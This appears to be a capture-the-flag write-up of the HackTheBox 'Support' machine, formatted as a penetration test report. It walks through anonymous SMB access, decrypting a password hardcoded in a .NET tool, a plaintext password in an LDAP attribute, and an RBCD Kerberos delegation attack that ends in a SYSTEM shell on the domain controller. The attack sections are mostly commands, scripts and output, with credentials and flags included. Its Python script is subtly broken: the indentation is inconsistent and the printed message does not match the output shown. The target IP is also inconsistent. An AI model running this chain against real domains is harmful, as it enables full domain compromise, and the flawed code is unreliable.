Penetration Test Report: Support

1. General Information and Executive Summary

Field	Detail
Client	HackTheBox
Target IP	10.129.2.55
Associated Domain	support.htb
Consultant	Bender2997_
Testing Date	04-01-2026
Criticality	Critical
Compromise Vectors	SMB with anonymous access, Reverse Engineering of .NET binaries, LDAP attribute enumeration (Information Disclosure), and Privilege

Field	Detail
	Escalation via RBCD (Resource-Based Constrained Delegation).

Executive Summary

The security assessment conducted on the Domain Controller (10.129.23.55) of the support.htb domain identified multiple chained configuration flaws that resulted in the total compromise of the infrastructure. Initial access was obtained by exploiting SMB shared resources accessible without authentication, which allowed the extraction of an internal tool. Through reverse engineering of the binary, obfuscated credentials were identified that granted access to the LDAP service.

Deep enumeration of the directory revealed a plaintext password within a user's attributes, allowing remote access via WinRM. Finally, the SeMachineAccountPrivilege privilege was leveraged to execute an RBCD attack, achieving impersonation of the Administrator account and absolute control of the system.

2. Methodology and Exploitation Phases

The methodology was executed under a Black-Box approach, following the phases of reconnaissance, vulnerability analysis, and advanced exploitation of Active Directory infrastructures.

2.1. Reconnaissance and Enumeration Phase

1. Port Scanning (Nmap): An exhaustive identification of the attack surface was performed on host 10.129.23.55, detecting critical services such as DNS, Kerberos, LDAP, and SMB. The Windows Remote Management (WinRM) service on port 5985 was established as the primary remote access vector once credentials were obtained.

```
┌──(root㉿kali)-[/home/…/PERSONAL/HTB/Easy/Support]
└─# nmap -T5 -sS -sCV -Pn -n -p- --open 10.129.23.55 -oN scan_1.txt
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-01 10:59 -0400
Nmap scan report for 10.129.23.55
Host is up (0.068s latency).
Not shown: 65517 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-04-01 15:01:54Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: support.htb, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: support.htb, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
49664/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49678/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49690/tcp open  msrpc         Microsoft Windows RPC
49706/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required
| smb2-time:
|   date: 2026-04-01T15:02:44
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 212.98 seconds
```

- Command Executed: nmap -T5 -sS -sCV -Pn -n -p- --open 10.129.23.55 -oN scan_1.txt.

2. SMB Enumeration (SUP-001): The presence of shared resources accessible via a null session or the guest account was investigated. The SMB protocol allows for file exchange in a network and, in insecure configurations, can expose directories with internal software or administration scripts containing corporate secrets.

```
┌──(root㉿kali)-[/home/…/PERSONAL/HTB/Easy/Support]
└─# nxc smb 10.129.23.55 -u 'guest' -p '' --shares
SMB         10.129.23.55    445    DC              [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:support.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.23.55    445    DC              [+] support.htb\guest:
SMB         10.129.23.55    445    DC              [*] Enumerated shares
SMB         10.129.23.55    445    DC              Share           Permissions     Remark
SMB         10.129.23.55    445    DC              -----           -----------     ------
SMB         10.129.23.55    445    DC              ADMIN$                          Remote Admin
SMB         10.129.23.55    445    DC              C$                              Default share
SMB         10.129.23.55    445    DC              IPC$            READ            Remote IPC
SMB         10.129.23.55    445    DC              NETLOGON                        Logon server share
SMB         10.129.23.55    445    DC              support-tools   READ            support staff tools
SMB         10.129.23.55    445    DC              SYSVOL                          Logon server share
```

- Command Executed: `nxc smb 10.129.23.55 -u 'guest' -p '' --shares`.

```
┌──(root㉿kali)-[/home/…/PERSONAL/HTB/Easy/Support]
└─# smbclient //10.129.23.55/support-tools -N
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Wed Jul 20 13:01:06 2022
  ..                                  D        0  Sat May 28 07:18:25 2022
  7-ZipPortable_21.07.paf.exe         A  2880728  Sat May 28 07:19:19 2022
  npp.8.4.1.portable.x64.zip          A  5439245  Sat May 28 07:19:55 2022
  putty.exe                           A  1273576  Sat May 28 07:20:06 2022
  SysinternalsSuite.zip               A 48102161  Sat May 28 07:19:31 2022
  UserInfo.exe.zip                    A   277499  Wed Jul 20 13:01:07 2022
  windirstat1_1_2_setup.exe           A    79171  Sat May 28 07:20:17 2022
  WiresharkPortable64_3.6.5.paf.exe      A 44398000  Sat May 28 07:19:43 2022

                4026367 blocks of size 4096. 971075 blocks available
smb: \>
```

Read access (READ) was confirmed to the support-tools share. Within this resource, the file UserInfo.exe.zip was identified and extracted, an internal tool suspected to contain authentication logic.

```
└─# unzip UserInfo.exe.zip
Archive:  UserInfo.exe.zip
  inflating: UserInfo.exe
  inflating: CommandLineParser.dll
  inflating: Microsoft.Bcl.AsyncInterfaces.dll
  inflating: Microsoft.Extensions.DependencyInjection.Abstractions.dll
  inflating: Microsoft.Extensions.DependencyInjection.dll
  inflating: Microsoft.Extensions.Logging.Abstractions.dll
  inflating: System.Buffers.dll
  inflating: System.Memory.dll
  inflating: System.Numerics.Vectors.dll
  inflating: System.Runtime.CompilerServices.Unsafe.dll
  inflating: System.Threading.Tasks.Extensions.dll
  inflating: UserInfo.exe.config
```

2.2. Initial Access and Lateral Phase (Reverse Engineering and Information Disclosure)

1. Reverse Engineering (SUP-002): Static analysis of the UserInfo.exe file determined it was a .NET assembly, which can be disassembled to recover source code in an intermediate language (IL). This technique is used to identify hardcoded credentials or weak encryption algorithms within custom applications.

```
┌──(root㉿kali)-[/home/…/PERSONAL/HTB/Easy/Support]
└─# file UserInfo.exe
UserInfo.exe: PE32 executable for MS Windows 6.00 (console), Intel i386 Mono/.Net assembly, 3 sections
```

- Command Executed: `monodis --output=UserInfo.source UserInfo.exe`.

```
┌──(root㉿kali)-[/home/…/PERSONAL/HTB/Easy/Support]
└─# monodis --output=UserInfo.source UserInfo.exe

┌──(root㉿kali)-[/home/…/PERSONAL/HTB/Easy/Support]
└─# cat UserInfo.source
.assembly extern mscorlib
{
  .ver 4:0:0:0
  .publickeytoken = (B7 7A 5C 56 19 34 E0 89 ) // .z\V.4..
}
.assembly extern CommandLineParser
{
  .ver 0:7:0:0
```

- Finding: Code inspection revealed the obfuscated string enc_password and a static encryption key "armando" within the UserInfo.Services.Protected class.

```
    {
        // Method begins at RVA 0x2170
        // Code size 31 (0x1f)
        .maxstack 8
        IL_0000:  ldstr "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E"
        IL_0005:  stsfld string UserInfo.Services.Protected::enc_password
        IL_000a:  call class [mscorlib]System.Text.Encoding class [mscorlib]System.Text.Encoding::get_ASCII()
        IL_000f:  ldstr "armando"
        IL_0014:  callvirt instance unsigned int8[] class [mscorlib]System.Text.Encoding::GetBytes(string)
        IL_0019:  stsfld unsigned int8[] UserInfo.Services.Protected::key
        IL_001e:  ret
    } // end of method Protected::.cctor

  } // end of class UserInfo.Services.Protected
}

.namespace UserInfo.Services
{
  .class private auto ansi beforefieldinit LdapQuery
        extends [mscorlib]System.Object
  {
    .field  private  class [System.DirectoryServices]System.DirectoryServices.DirectoryEntry entry
    .field  private  class [System.DirectoryServices]System.DirectoryServices.DirectorySearcher ds

    // method line 18
    .method public hidebysig specialname rtspecialname
            instance default void .ctor() cil managed
    {
        // Method begins at RVA 0x2190
        // Code size 64 (0x40)
        .maxstack 4
        .locals init (
                string  V_0)
        IL_0000:  ldarg.0
        IL_0001:  call instance void object::.ctor()
        IL_0006:  call string class UserInfo.Services.Protected::getPassword()
        IL_000b:  stloc.0
        IL_000c:  ldarg.0
        IL_000d:  ldstr "LDAP://support.htb"
        IL_0012:  ldstr "support\\ldap"
        IL_0017:  ldloc.0
        IL_0018:  newobj instance void class [System.DirectoryServices]System.DirectoryServices.DirectoryEntry::.ctor(string, string, string)
        IL_001d:  stfld class [System.DirectoryServices]System.DirectoryServices.DirectoryEntry UserInfo.Services.LdapQuery::entry
        IL_0022:  ldarg.0
        IL_0023:  ldfld class [System.DirectoryServices]System.DirectoryServices.DirectoryEntry UserInfo.Services.LdapQuery::entry
        IL_0028:  ldc.i4.1
        IL_0029:  callvirt instance void class [System.DirectoryServices]System.DirectoryServices.DirectoryEntry::set_AuthenticationType(valuetype [System.DirectoryServices]System.DirectoryServices.AuthenticationTypes)
        IL_002e:  ldarg.0
```

- Decryption Logic: The binary applied a double XOR operation on each byte after Base64 decoding, using the key "armando" and the constant 223 ($0xDF$). By replicating this logic, the credential: nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz was obtained for the support\ldap service account.
- Python Script:

```
import base64

def decrypt():

enc_password_b64 = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E"

    key = "armando"

    xor_const = 223 # 0xDF en hexadecimal

    # 1. Base64 Decode

    ciphertext = base64.b64decode(enc_password_b64)

    # 2. Replicate XOR logic from .NET binary
```

```
    decrypted = ""
    for i in range(len(ciphertext)):
        # byte ^ key[i % len(key)] ^ 223
            char_code = ciphertext[i] ^ ord(key[i % len(key)]) ^ xor_const
        decrypted += chr(char_code)
    print(f"[+] Recovered Password: {decrypted}")
if __name__ == "__main__":
    decrypt()
```

```
┌──(htb_env)─(root㉿kali)-[/home/…/PERSONAL/HTB/Easy/Support]
└─# python3 exploit_1.py
[+] Password recuperada: nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz
```

2. LDAP Information Disclosure (SUP-003): With legitimate access to the LDAP protocol (used to query objects in Active Directory), a dump of sensitive attributes was performed. Often, administrators store critical information in attributes not intended for passwords, such as the info field.

- Credential validation on smb and ldap services:
  - nxc smb 10.129.23.55 -u 'ldap' -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz'
  - nxc ldap 10.129.23.55 -u 'ldap' -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz'

```
┌──(root㉿kali)-[/home/…/PERSONAL/HTB/Easy/Support]
└─# nxc smb 10.129.23.55 -u 'ldap' -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz'
SMB         10.129.23.55    445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:support.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.23.55    445    DC               [+] support.htb\ldap:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz

┌──(root㉿kali)-[/home/…/PERSONAL/HTB/Easy/Support]
└─# nxc ldap 10.129.23.55 -u 'ldap' -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz'
LDAP        10.129.23.55    389    DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:support.htb) (signing:None) (channel binding:No TLS cert)
LDAP        10.129.23.55    389    DC               [+] support.htb\ldap:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz
```

- Command Executed: `ldapsearch -H ldap://10.129.23.55 -D "support\\ldap" -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "dc=support,dc=htb" "(sAMAccountName=support)" '*' '+'`.

```
┌──(root㉿kali)-[/home/…/PERSONAL/HTB/Easy/Support]
└─# ldapsearch -H ldap://10.129.23.55 -D "support\\ldap" -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "dc=support,dc=htb" "(sAMAccountName=support)" '*' '+'
# extended LDIF
#
# LDAPv3
# base <dc=support,dc=htb> with scope subtree
# filter: (sAMAccountName=support)
# requesting: * +
#

# support, Users, support.htb
dn: CN=support,CN=Users,DC=support,DC=htb
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: support
c: US
l: Chapel Hill
st: NC
postalCode: 27514
distinguishedName: CN=support,CN=Users,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528111200.0Z
whenChanged: 20220528111201.0Z
uSNCreated: 12617
info: Ironside47pleasure40Watchful
memberOf: CN=Shared Support Accounts,CN=Users,DC=support,DC=htb
memberOf: CN=Remote Management Users,CN=Builtin,DC=support,DC=htb
uSNChanged: 12630
company: support
streetAddress: Skipper Bowles Dr
name: support
objectGUID:: CqM5MfoxMEWepIBTs5an8Q==
userAccountControl: 66048
badPwdCount: 0
codePage: 0
countryCode: 0
badPasswordTime: 0
lastLogoff: 0
lastLogon: 0
pwdLastSet: 132982099209777070
primaryGroupID: 513
objectSid:: AQUAAAAAAAUVAAAAG9v9Y4G6g8nmcEILUQQAAA==
```

In the info attribute of the user support, the plaintext password Ironside47pleasure40Watchful was located. This credential granted an interactive shell via Evil-WinRM after validating that the user belongs to the Remote Management Users group.

- Credential Check: `nxc winrm 10.129.23.55 -u 'support' -p 'Ironside47pleasure40Watchful'`

```
┌──(root㉿kali)-[/home/…/PERSONAL/HTB/Easy/Support]
└─# nxc winrm 10.129.23.55 -u 'support' -p 'Ironside47pleasure40Watchful'
WINRM       10.129.23.55    5985   DC              [*] Windows Server 2022 Build 20348 (name:DC) (domain:support.htb)
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit
.ciphers.algorithms.ARC4 and will be removed from cryptography.hazmat.primitives.ciphers.algorithms in 48.0.0.
  arc4 = algorithms.ARC4(self._key)
WINRM       10.129.23.55    5985   DC              [+] support.htb\support:Ironside47pleasure40Watchful (Pwn3d!)
```

- Command Used: `nxc winrm 10.129.23.55 -u 'support' -p 'Ironside47pleasure40Watchful'`

```
┌──(root㉿kali)-[/home/…/PERSONAL/HTB/Easy/Support]
└─# evil-winrm -i 10.129.23.55 -u 'support' -p 'Ironside47pleasure40Watchful'

Evil-WinRM shell v3.9

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\support\Documents> ls
*Evil-WinRM* PS C:\Users\support\Documents>
```

```
*Evil-WinRM* PS C:\Users\support> cd Desktop
*Evil-WinRM* PS C:\Users\support\Desktop> ls


    Directory: C:\Users\support\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---          4/1/2026   7:56 AM             34 user.txt


*Evil-WinRM* PS C:\Users\support\Desktop> cat user.txt
b70b45aac5faef7227c9ba474df75432
*Evil-WinRM* PS C:\Users\support\Desktop>
```

- User Flag: Located in C:\Users\support\Desktop\user.txt: b70b45aac5faef7227c9ba474df75432.

2.3. Privilege Escalation and Full Control Phase (RBCD)

1. Comprehensive Privilege and Group Analysis (SUP-004): After obtaining initial access, an audit of the security context of the user support was performed. The whoami /priv command confirmed the presence of the SeMachineAccountPrivilege privilege. However, for a Resource-Based Constrained Delegation (RBCD) attack to be viable, it is not enough to have the privilege of creating accounts; it is imperative to verify write permissions over the Domain Controller (DC) object and the machine quota allowed in the domain.

- Machine Quota Verification: The ms-DS-MachineAccountQuota attribute was queried, yielding a value of 10. This validates that the support user is authorized to register up to 10 new computer accounts without being an administrator.

    - Command: Get-ADDomain | Select-Object -ExpandProperty DistinguishedName | Get-ADObject -Properties "ms-DS-MachineAccountQuota" | Select-Object ms-DS-MachineAccountQuota.
- Membership and ACL Analysis: Using whoami /groups, it was identified that the user belongs to the SUPPORT\Shared Support Accounts group. When auditing the Access Control Lists (ACL) of the DC object, it was discovered that this group possesses GenericAll rights over the Domain Controller.
    - Technical Implication: The GenericAll permission grants full control over the object's attributes. This allows the attacker to modify the msDS-AllowedToActOnBehalfOfOtherIdentity attribute, which controls who can perform delegations to that computer.
    - Verification Command: (Get-Acl "AD:CN=DC,OU=Domain Controllers,DC=support,DC=htb").Access | Where-Object { $_.IdentityReference -match "Shared Support Accounts" } | Select-Object IdentityReference, ActiveDirectoryRights.

2. RBCD Exploitation (SUP-005):

The attack is divided into two phases: the creation of a computer account that will serve as a bridge and the injection of its SID into the DC's delegation configuration.

- Creation of the Rogue Account: impacket-addcomputer was used to register a new machine account named HACKER-PC$. This step is indispensable because we need a computer identity whose SID is known to grant it delegation permissions.

```
┌──(root㉿kali)-[/home/…/PERSONAL/HTB/Easy/Support]
└─# impacket-addcomputer -dc-ip 10.129.23.55 -computer-name 'HACKER-PC$' -computer-pass 'test123!' 'support.htb/support:Ironside47pleasure40Watchful'
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Successfully added machine account HACKER-PC$ with password test123!.
```

- Command Executed: `impacket-addcomputer -dc-ip 10.129.23.55 -computer-name 'HACKER-PC$' -computer-pass 'test123!' 'support.htb/support:Ironside47pleasure40Watchful'`.

- Injection of the RawSecurityDescriptor: With the account created, a PowerShell script was executed to transform HACKER-PC$'s SID into a binary security descriptor. This descriptor was written to the DC's msDS-AllowedToActOnBehalfOfOtherIdentity attribute.

```
*Evil-WinRM* PS C:\Windows\temp> upload /home/kali/Desktop/PERSONAL/HTB/Easy/Support/exploit_rbcd.ps1

Info: Uploading /home/kali/Desktop/PERSONAL/HTB/Easy/Support/exploit_rbcd.ps1 to C:\Windows\temp\exploit_rbcd.ps1

Info: Upload successful!
*Evil-WinRM* PS C:\Windows\temp> .\exploit_rbcd.ps1
*Evil-WinRM* PS C:\Windows\temp> Get-ADComputer -Identity "DC" -Properties msDS-AllowedToActOnBehalfOfOtherIdentity | Select-Object -ExpandProperty msDS-AllowedToActOnBehalfOfOtherIdentity

Path Owner                  Access
---- -----                  ------
     BUILTIN\Administrators SUPPORT\HACKER-PC$ Allow
```

By performing this modification, we are telling the DC: "I trust that HACKER-PC$ can present itself before me pretending to be any other user in the domain."

- Script:

```
# 1. Define the SID of the fake computer

$sid = "S-1-5-21-1677581083-3380853377-188903654-6101"

# 2. Create the RawSecurityDescriptor

$sd = New-Object System.Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRRC;;;$sid)"

$sdBytes = New-Object byte[] $sd.BinaryLength

$sd.GetBinaryForm($sdBytes, 0)
```

3. Modify the attribute on the Domain Controller

This overwrites the msDS-AllowedToActOnBehalfOfOtherIdentity attribute with the binary SID

```
Set-ADComputer -Identity "DC" -Replace @{"msDS-AllowedToActOnBehalfOfOtherIdentity"=$sdBytes}
```

3. Final Compromise and Obtaining the Master Ticket (Pass-the-Ticket):

Once delegation is configured, Kerberos S4U2self and S4U2Proxy extensions are abused.

```
┌──(root㉿kali)-[/home/…/PERSONAL/HTB/Easy/Support]
└─# impacket-getST -dc-ip 10.129.23.55 -spn "cifs/dc.support.htb" -impersonate "Administrator" 'support.htb/HACKER-PC$:test123!'
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[-] CCache file is not found. Skipping ...
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache
```

- Service Ticket (ST) Acquisition: impacket-getST was used for HACKER-PC$ to request a service ticket for the service principal name (SPN) cifs/dc.support.htb, impersonating the domain Administrator.
  - Internal Process: S4U2self allows getting a ticket for oneself as Administrator; S4U2Proxy allows exchanging that ticket for one to access the DC's CIFS service.
  - Command: `impacket-getST -dc-ip 10.129.23.55 -spn "cifs/dc.support.htb" -impersonate "Administrator" 'support.htb/HACKER-PC\$:test123!'`.
- Pass-the-Ticket and Escalation to SYSTEM: With the ticket saved in .ccache format, the environment variable was configured so that Impacket tools would use the Kerberos ticket instead of a

password. Since Kerberos relies heavily on name resolution, it was necessary to map the IP to the hostname in /etc/hosts.

```
┌──(root㉿kali)-[/home/…/PERSONAL/HTB/Easy/Support]
└─# echo "10.129.23.55 dc.support.htb support.htb" | tee -a /etc/hosts
10.129.23.55 dc.support.htb support.htb

┌──(root㉿kali)-[/home/…/PERSONAL/HTB/Easy/Support]
└─# mv Administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache admin.ccache

┌──(root㉿kali)-[/home/…/PERSONAL/HTB/Easy/Support]
└─# export KRB5CCNAME=admin.ccache
```

- Environment Commands:
  - export KRB5CCNAME=admin.ccache.
  - echo "10.129.23.55 dc.support.htb support.htb" | tee -a /etc/hosts.

- Root Access: Finally, impacket-psexec was executed using ticket authentication (-k -no-pass), resulting in a shell with maximum privileges on the Domain Controller.

```
┌──(root㉿kali)-[/home/…/PERSONAL/HTB/Easy/Support]
└─# impacket-psexec -k -no-pass dc.support.htb
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Requesting shares on dc.support.htb.....
[*] Found writable share ADMIN$
[*] Uploading file hQeGrLVn.exe
[*] Opening SVCManager on dc.support.htb.....
[*] Creating service kAPB on dc.support.htb.....
[*] Starting service kAPB.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.20348.859]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32> cd ..
```

- Command used: impacket-psexec -k -no-pass dc.support.htb

```
C:\Users> dir Administrator\Desktop
 Volume in drive C has no label.
 Volume Serial Number is 955A-5CBB

 Directory of C:\Users\Administrator\Desktop

05/28/2022  04:17 AM    <DIR>          .
05/28/2022  04:11 AM    <DIR>          ..
04/01/2026  07:56 AM                34 root.txt
               1 File(s)             34 bytes
               2 Dir(s)   3,971,325,952 bytes free

C:\Users> type C:\Users\Administrator\Desktop\root.txt
eee8f2e75b86e813b68d71d9ec3935ed
```

- Administrator Flag: Found in C:\Users\Administrator\Desktop\root.txt: eee8f2e75b86e813b68d71d9ec3935ed.

3. Conclusions and Mitigation Recommendations

3.1. Conclusion

The compromise of the **Support** server demonstrates the danger of centralizing administrative tools in shared resources with anonymous access. The inclusion of credentials, even obfuscated, in distributed binaries facilitates initial access to critical services like LDAP. Finally, the permissive management of privileges like SeMachineAccountPrivilege in support users allows for total escalation through advanced Kerberos delegation techniques.

3.2. Critical Recommendations

ID	Risk	Mitigation Recommendation	Priority
SUP-001	SMB with anonymous access	Disable guest access and unauthenticated users to shares. Apply the principle of least privilege in SMB.	Critical

SUP-002	Credentials in Binaries	Do not store secrets, keys, or passwords (even if obfuscated) in the source code of internal applications.	High
SUP-003	Information Disclosure in AD	Limit visibility of sensitive attributes in LDAP. Avoid using the `info` or `description` field to store passwords.	Critical
SUP-004	Abuse of SeMachineAccountPrivilege	Reduce the `ms-DS-MachineAccountQuota` value to 0 to prevent non-administrative users from adding computers to the domain.	Critical
SUP-005	RBCD Configuration	Periodically audit the `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute on critical	High

		objects such as Domain Controllers.	

4. Lessons Learned / Attack Analysis

- **Chained Vulnerabilities and Critical Permissions:** Exploitation was the result of chaining configuration flaws. It was demonstrated that the combination of the *SeMachineAccountPrivilege* privilege (allowing for adding up to 10 machines to the domain) along with membership in a group with *GenericAll* rights over the *Domain Controller* object, overrides any other security measures.

  This *GenericAll* permission is the critical factor (SUP-004/SUP-005) that allows the attacker to reconfigure the DC object for delegation. All techniques used and vulnerabilities exploited were discovered and executed for the first time in this exercise, confirming the practical value of the methodology employed.

- **Reverse Engineering and Secret Disclosure:** Initial access was based on weak management of internal assets. Static analysis of a .NET binary (SUP-002), obtained via anonymous SMB (SUP-001), revealed trivial obfuscation logic. The decrypted secret led to an account which, in turn, exposed a plaintext password in an Active Directory attribute (SUP-003), underlining the need to prohibit storing secrets in AD metadata fields.

- **Delegation Abuse (RBCD) and Kerberos:** The mechanics of Resource-Based Constrained Delegation (RBCD) were illustrated. The attack required the creation of a "bridge" machine account (HACKER-PC$) and the successful injection of its SID into the DC security descriptor. This validates the RBCD attack vector as a method for total privilege escalation, allowing the use of *S4U2self* and *S4U2Proxy* to impersonate the Administrator and achieve the final *Pass-the-Ticket*.

  All the techniques used and vulnerabilities exploited were discovered and executed for the first time in this exercise, confirming the practical value of the methodology used.